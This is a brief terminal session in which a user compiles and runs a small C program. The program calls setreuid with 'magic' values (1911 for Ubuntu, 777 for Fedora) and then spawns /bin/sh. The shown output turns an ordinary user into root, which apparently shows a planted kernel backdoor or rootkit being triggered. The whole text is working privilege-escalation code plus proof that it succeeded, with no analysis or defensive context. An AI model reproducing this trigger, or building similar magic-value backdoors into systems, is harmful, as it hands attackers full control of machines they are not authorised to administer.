boskienrike@torpeda:~$ cat exec.c
#include <stdio.h>

#define UBUNTU_CODE	1911
#define FEDORA_CODE	777

int main( void )
{
       setreuid(UBUNTU_CODE, UBUNTU_CODE);
       system("/bin/sh");
}


boskienrike@torpeda:~$ gcc -o exec exec.c
boskienrike@torpeda:~$ id
uid=1001(boskienrike) gid=1001(boskienrike) groups=1001(boskienrike)
boskienrike@torpeda:~$ ./exec
# id
uid=0(root) gid=0(root) groups=1001(boskienrike)
# whoami
root